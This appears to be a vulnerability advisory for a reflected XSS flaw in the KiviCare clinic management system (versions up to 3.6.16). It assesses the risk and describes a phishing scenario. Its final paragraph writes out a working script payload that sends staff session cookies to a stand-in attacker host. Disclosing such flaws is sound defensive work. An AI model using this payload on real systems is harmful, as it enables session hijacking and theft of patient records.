Kivicare CVE-2026-25383

Remote unauthenticated attacker crafts malicious URL containing XSS payload targeting KiviCare clinic management system versions ≤3.6.16. Victim must click the link or visit the attacker-controlled URL in their browser. No special configuration required; affects default installations.

Without a CVSS vector, explicit EPSS score, or KEV listing, direct quantitative risk assessment is limited; however, Reflected XSS is inherently high-risk due to its broad attack surface and ease of exploitation. The attack requires minimal complexity—typically just crafting a URL—and no authentication, meaning any unauthenticated user visiting a malicious link is vulnerable. The practical impact is significant: attackers can steal session cookies, perform unauthorized administrative actions in the clinic system, or harvest sensitive patient data. The lack of a published CVSS score and EPSS metric, combined with public disclosure via Patchstack, suggests this is a real vulnerability with moderate-to-high exploitation potential rather than a theoretical or low-impact issue. Organizations running KiviCare 3.6.16 or earlier should treat this as a near-term remediation priority.

An attacker crafts a phishing email containing a malicious link such as https://clinic.example.com/kivicare/?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>, and sends it to clinic staff. When a logged-in staff member clicks the link, the unvalidated input is reflected in the search results page, executing the injected JavaScript in their browser, which silently exfiltrates their session cookie to the attacker's server. The attacker then uses the stolen session to impersonate the staff member and access, modify, or exfiltrate patient records.